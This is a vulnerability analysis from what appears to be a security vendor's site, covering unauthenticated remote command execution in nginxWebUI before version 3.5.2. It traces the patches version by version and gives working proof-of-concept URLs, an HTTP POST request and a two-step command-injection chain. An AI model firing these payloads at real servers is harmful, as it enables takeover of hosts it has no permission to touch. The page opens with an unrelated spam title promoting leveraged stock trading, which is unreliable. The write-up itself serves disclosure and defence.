买股票怎么加杠杆佰朔资本介绍-k线图形态24种经典图解-【东方资本】,股票配资交易app,配资炒股比例国家规定是多少,配资在线平台排行榜

提交需求
*
*

*
*
*
立即提交
點擊”立即提交”,表明我理解并同意 《美創科技隱私條款》

logo

    產品與服務
    解決方案
    技術支持
    合作發展
    關于美創

    申請試用
      nginxWebUI runCmd遠程命令執行漏洞
      發布時間:2023-07-14 閱讀次數: 1301 次

      漏洞描述

      nginxWebUI是一款圖形化管理nginx配置的工具,能通過網頁快速配置nginx的各種功能,包括HTTP和TCP協議轉發、反向代理、負載均衡、靜態HTML服務器以及SSL證書的自動申請、續簽和配置,配置完成后可以一鍵生成nginx.conf文件,并控制nginx使用此文件進行啟動和重載。nginxWebUI后臺提供執行nginx相關命令的接口,由于未對用戶的輸入進行過濾,導致可在后臺執行任意命令。并且該系統權限校驗存在問題,導致存在權限繞過,在前臺可直接調用后臺接口,最終可以達到無條件遠程命令執行的效果。


      影響范圍:

      nginxWebUI < 3.5.2

      漏洞復現

      Poc:

      url地址 + /AdminPage/conf/runCmd?cmd=命令%26%26echo%20nginx

      漏洞分析(3.4.6版本)

      漏洞定位:

      根據gitee的更新歷史https://gitee.com/cym1102/nginxWebUI,尋找開發者關于此漏洞的更新情況。

      以3.4.6版本為例,反編譯其jar包:

      根據poc搜索/adminPage/conf,定位到路由:

      \com\cym\controller\adminPage\ConfController.class 44行

      圖片

      然后根據poc的參數,找到runcmd方法

      \com\cym\controller\adminPage\ConfController.class 274行

      圖片

      定義了一個runCmd方法來處理用戶輸入的命令并執行。根據輸入的type參數,調用settingService的set方法進行設置。然后使用RuntimeUtil類來執行命令,如果是Windows系統,則使用"cmd /c start"來執行命令,如果是其他系統,則使用"/bin/sh -c"來執行命令。最后,根據執行結果返回相應的JsonResult。

      這里可以對cmd參數進行拼接,操控拼接的命令進行命令執行。

      3.4.7版本分析

      同理定位 runcmd方法:\com\cym\controller\adminPage\ConfController.class 274行

      圖片

      增加了一個replaceAll方法:

      圖片


      效果是對;’   \\|    //{    //}

      對這些符號做一個轉義替換 、且cmd參數中要存在“nginx”字段

      構造payload:

      http://localhost:8080/AdminPage/conf/runCmd?cmd=calc%26%26nginx

      即 calc&&nginx

      3.5.2版本分析

      3.4.8升級框架為solon2

      圖片

      3.5.2開發者對漏洞進行了更新

      圖片


      根據gitee的版本對比,定位到:

      src/main/java/com/cym/config/AppFilter.java 

      圖片

      加了一個過濾器,用于對請求進行過濾和攔截。首先,它檢查請求的路徑是否包含特定的文件夾(如/lib/、/js/、/doc/等),如果不包含,則調用frontInterceptor方法進行處理。接下來,它再次檢查請求的路徑是否包含/adminPage/,如果包含且不包含特定的文件夾,則調用adminInterceptor方法進行處理。最后,如果adminInterceptor返回false,則將請求設置為已處理。

      圖片


      但是在path().toLowerCase()將路徑轉換為小寫,第二個if下沒有將路徑轉化成小寫。

      可以在此進行大小寫繞過。

      3.6.3版本分析

      \com\cym\controller\adminPage\ConfController.class 316

      圖片

      圖片

      定義了一個私有的isAvailableCmd(String cmd)方法,通過switch語句,根據cmd的哈希值進行匹配,判斷cmd是否和預定義的命令匹配。匹配成功則返回true,即命令可用。

      相當于徹底寫死,只執行預定義的、與nginx相關的命令,而不是其他命令。

      拋磚引玉:

      寫完這篇文章后看到了白給師傅的poc補充,他補充了關于此漏洞的另外幾個命令執行點,和文件上傳點,非常牛逼,值得思考和學習。

      大佬文章:

      https://mp.weixin.qq.com/s/oKsR7bm3tleJIS675Qt0RA

      補充:

      命令執行點1

      com.cym.controller.adminPage.ConfController#reload()方法

      Payload

      http://localhost:8080/AdminPage/conf/reload?nginxExe=calc%20%7C

      命令執行點2

      com.cym.controller.adminPage.ConfController#check()方法

      Payload


      POST /AdminPage/conf/check HTTP/1.1
      Host: 127.0.0.1:8080
      Content-Length: 151
      Accept: */*
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
      Content-Type: application/x-www-form-urlencoded;charset=UTF-8
      Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
      Accept-Encoding: gzip, deflate
      Accept-Language: zh-CN,zh;q=0.9
      Cookie: SOLONID=1788f71299dc4608a355ff347bf429fa
      Connection: close
      nginxExe=calc%20%7C&json=%7B%22nginxContent%22%3A%22TES%22%2C%22subContent%22%3A%5B%22A%22%5D%2C%22subName%22%3A%5B%22A%22%5D%7D&nginxPath=C%3A%5CUsers

      命令執行點3

      com.cym.controller.adminPage.ConfController#checkBase()方法,此方法從設置中獲取nginxExe nginxDir兩個屬性后拼接到命令再造成命令執行漏洞

      payload

      //第一步設置屬性

      http://localhost:8080/AdminPage/conf/saveCmd?nginxExe=calc%20%7c&nginxPath=a&nginxDir=a

      //第二步執行命令

      http://localhost:8080/AdminPage/conf/checkBase

      任意文件上傳1

      com/cym/controller/adminPage/MainController.java

      任意文件上傳2

      com/cym/controller/adminPage/ServerController.java

      免費試用
      服務熱線

      馬上咨詢

      400-811-3777

      回到頂部